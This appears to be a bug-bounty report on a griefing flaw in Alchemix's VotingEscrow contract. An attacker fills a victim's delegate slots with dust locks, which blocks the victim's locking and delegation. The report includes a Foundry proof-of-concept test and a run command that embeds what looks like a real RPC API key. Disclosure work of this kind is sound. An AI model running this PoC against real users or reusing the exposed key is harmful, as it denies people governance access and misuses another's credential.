Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
Each user in the VotingEscrow contract has a maximum number of delegate $veToken. Any user can delegate his $veToken to other users. An attacker can exploit this to let user's delegate to reach the upper limit.
Vulnerability Details
This bug involves createLock operation
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1040
require(dstTokensOld.length +1<= MAX_DELEGATES,"dst would have too many tokenIds");
and delegate operation
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1110
require(dstTokensOld.length + ownerTokenCount <= MAX_DELEGATES,"dst would have too many tokenIds");
In other words, an attacker can use this bug to DOS createLock and delegate operations of user.
Suggested fix
It is recommended that user can set the minimum number of individual delegates to prevent dust attacks
Impact Details
An attacker can make the user no longer able to be delegated and mint $veToken. Causes users to be DOSed and may affect governance voting.
References
None
Proof of concept
The PoC patch
diff --git a/src/test/VotingEscrow.t.sol b/src/test/VotingEscrow.t.solindex 6e828a3..73ca043 100644--- a/src/test/VotingEscrow.t.sol+++ b/src/test/VotingEscrow.t.sol@@ -1015,4 +1015,25 @@ contract VotingEscrowTest is BaseTest { hevm.stopPrank(); }++ function testYttriumzzPocTemp() external {+ address attacker = address(0xa77ac8e3);+ address user = address(0xacc);+ deal(bpt, attacker, 1e18);+ deal(bpt, user, 1e18);++ hevm.startPrank(attacker);+ IERC20(bpt).approve(address(veALCX), type(uint256).max);+ for (uint256 i = 0; i < veALCX.MAX_DELEGATES(); i++) {+ veALCX.createLock(1, 0, true);+ }+ veALCX.delegate(user);+ hevm.stopPrank();++ hevm.startPrank(user);+ IERC20(bpt).approve(address(veALCX), type(uint256).max);+ hevm.expectRevert("dst would have too many tokenIds");+ veALCX.createLock(1, 0, true);+ hevm.stopPrank();+ } }
Run the PoC
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp